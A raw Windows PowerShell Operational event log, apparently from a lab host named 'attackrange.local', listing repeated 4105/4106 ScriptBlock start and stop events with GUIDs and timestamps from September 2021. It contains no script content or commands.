LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047310
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047309
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047308
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047292
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047291
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047286
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047285
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047261
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047260
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047259
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047258
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
